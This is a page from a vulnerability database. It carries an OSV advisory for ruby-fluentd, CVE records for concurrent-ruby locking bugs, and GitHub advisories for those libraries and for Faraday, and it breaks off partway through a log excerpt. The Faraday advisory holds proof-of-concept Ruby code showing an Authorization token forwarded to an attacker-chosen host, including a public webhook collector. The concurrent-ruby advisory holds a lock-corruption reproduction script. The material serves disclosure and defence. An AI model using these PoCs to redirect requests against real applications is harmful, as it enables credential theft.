Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the ruby-fluentd-1.19 package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.19"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.2-r4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the ruby-fluentd-1.19 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-UT74115",
"modified": "2026-07-08T04:44:58Z",
"published": "2026-07-21T08:19:01.995115Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-UT74115.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41316"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42245"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54696"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54906"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5rv5-xj5j-3484"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6wx8-w4f5-wwcr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-75xq-5h9v-w6px"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-87pf-fpwv-p7m7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-98m9-hrrm-r99r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hm49-wcqc-g2xg"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q2mw-fvj9-vvcw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vcgp-9326-pqcp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wv3x-4vxv-whpp"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41316"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42245"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54696"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54906"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-33637, CVE-2026-41316, CVE-2026-42245, CVE-2026-42246, CVE-2026-42256, CVE-2026-42257, CVE-2026-42258, CVE-2026-54171, CVE-2026-54297, CVE-2026-54696, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-5rv5-xj5j-3484, ghsa-6wx8-w4f5-wwcr, ghsa-75xq-5h9v-w6px, ghsa-87pf-fpwv-p7m7, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-hm49-wcqc-g2xg, ghsa-q2mw-fvj9-vvcw, ghsa-vcgp-9326-pqcp, ghsa-wv3x-4vxv-whpp applied in versions: 1.19.2-r2, 1.19.2-r3, 1.19.2-r4",
"upstream": [
"CVE-2026-33637",
"CVE-2026-41316",
"CVE-2026-42245",
"CVE-2026-42246",
"CVE-2026-42256",
"CVE-2026-42257",
"CVE-2026-42258",
"CVE-2026-54171",
"CVE-2026-54297",
"CVE-2026-54696",
"CVE-2026-54904",
"CVE-2026-54905",
"CVE-2026-54906",
"ghsa-5rv5-xj5j-3484",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-75xq-5h9v-w6px",
"ghsa-87pf-fpwv-p7m7",
"ghsa-98m9-hrrm-r99r",
"ghsa-h8w8-99g7-qmvj",
"ghsa-hm49-wcqc-g2xg",
"ghsa-q2mw-fvj9-vvcw",
"ghsa-vcgp-9326-pqcp",
"ghsa-wv3x-4vxv-whpp"
]
}
CVE-2026-54904 (GCVE-0-2026-54904)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:44 – Updated: 2026-06-25 13:20- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
| URL | Tags |
|---|---|
| https://github.com/ruby-concurrency/concurrent-ru… | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| ruby-concurrency | concurrent-ruby |
Affected:
< 1.3.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54904",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-25T13:19:55.812897Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-25T13:20:00.135Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "concurrent-ruby",
"vendor": "ruby-concurrency",
"versions": [
{
"status": "affected",
"version": "\u003c 1.3.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:44:21.992Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
}
],
"source": {
"advisory": "GHSA-h8w8-99g7-qmvj",
"discovery": "UNKNOWN"
},
"title": "concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54904",
"datePublished": "2026-06-24T15:44:21.992Z",
"dateReserved": "2026-06-16T13:49:33.556Z",
"dateUpdated": "2026-06-25T13:20:00.135Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-54905 (GCVE-0-2026-54905)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:42 – Updated: 2026-06-24 16:41- CWE-128 - Wrap-around Error
| URL | Tags |
|---|---|
| https://github.com/ruby-concurrency/concurrent-ru… | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| ruby-concurrency | concurrent-ruby |
Affected:
< 1.3.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54905",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-24T16:41:31.221708Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T16:41:34.224Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "concurrent-ruby",
"vendor": "ruby-concurrency",
"versions": [
{
"status": "affected",
"version": "\u003c 1.3.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread\u0027s local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2,
"baseSeverity": "LOW",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-128",
"description": "CWE-128: Wrap-around Error",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:42:44.257Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp"
}
],
"source": {
"advisory": "GHSA-wv3x-4vxv-whpp",
"discovery": "UNKNOWN"
},
"title": "concurrent-ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54905",
"datePublished": "2026-06-24T15:42:44.257Z",
"dateReserved": "2026-06-16T13:49:33.556Z",
"dateUpdated": "2026-06-24T16:41:34.224Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-54906 (GCVE-0-2026-54906)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:46 – Updated: 2026-06-24 17:57| URL | Tags |
|---|---|
| https://github.com/ruby-concurrency/concurrent-ru… | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| ruby-concurrency | concurrent-ruby |
Affected:
< 1.3.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54906",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-24T17:56:44.670673Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T17:57:07.650Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "concurrent-ruby",
"vendor": "ruby-concurrency",
"versions": [
{
"status": "affected",
"version": "\u003c 1.3.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-414",
"description": "CWE-414: Missing Lock Check",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-667",
"description": "CWE-667: Improper Locking",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:46:01.116Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
}
],
"source": {
"advisory": "GHSA-6wx8-w4f5-wwcr",
"discovery": "UNKNOWN"
},
"title": "concurrent-ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54906",
"datePublished": "2026-06-24T15:46:01.116Z",
"dateReserved": "2026-06-16T13:49:33.556Z",
"dateUpdated": "2026-06-24T17:57:07.650Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-5RV5-XJ5J-3484
Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-06-05 14:12Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.1"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33637"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T14:51:51Z",
"nvd_published_at": "2026-05-19T19:16:49Z",
"severity": "LOW"
},
"details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n - `lib/faraday/connection.rb`\n - `lib/faraday/request.rb`\n - `spec/faraday/connection_spec.rb`\n - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n - `Faraday::Connection#build_exclusive_url`\n - `Faraday::Connection#run_request`\n - `Faraday::Request#url`\n - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n - `Faraday 2.14.1`\n - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n url: \"http://trusted.example/base\",\n headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
"id": "GHSA-5rv5-xj5j-3484",
"modified": "2026-06-05T14:12:03Z",
"published": "2026-05-18T14:51:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}
GHSA-6WX8-W4F5-WWCR
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47Summary
Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.
Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.
This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:
def release_write_lock
return true unless running_writer?
c = @Counter.update { |counter| counter - RUNNING_WRITER }
@ReadLock.broadcast
@WriteLock.signal if waiting_writers(c) > 0
true
end
Because ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.
release_read_lock unconditionally decrements the shared counter:
def release_read_lock
while true
c = @Counter.value
if @Counter.compare_and_set(c, c-1)
if waiting_writer?(c) && running_readers(c) == 1
@WriteLock.signal
end
break
end
end
true
end
On a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.
Reproduce
From the root of a concurrent-ruby checkout, run:
ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"
lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false
writer1 = Thread.new do
lock.acquire_write_lock
writer1_inside = true
events << :writer1_acquired
sleep 0.5
writer1_inside = false
lock.release_write_lock
events << :writer1_finished
end
events.pop
puts 'writer1_acquired=true'
intruder_result = nil
intruder = Thread.new do
intruder_result = lock.release_write_lock
end
intruder.join
puts "wrong_thread_release_write_lock_returned=#{intruder_result}"
writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
lock.acquire_write_lock
writer2_entered_while_writer1_inside = writer1_inside
lock.release_write_lock
end
writer2.join(0.25)
puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"
writer1.join
lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
lock2.acquire_read_lock
'acquired'
rescue => error
"#{error.class}: #{error.message}"
end
puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"
if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
puts 'result=NOT_REPRODUCED'
end
Expected result:
- A second thread successfully calls
release_write_lockwhile the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section.
- Calling
release_read_lockon a fresh lock changes the counter to-1. - A subsequent read acquisition fails with
Concurrent::ResourceLimitError.
Log evidence
Local reproduction output:
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
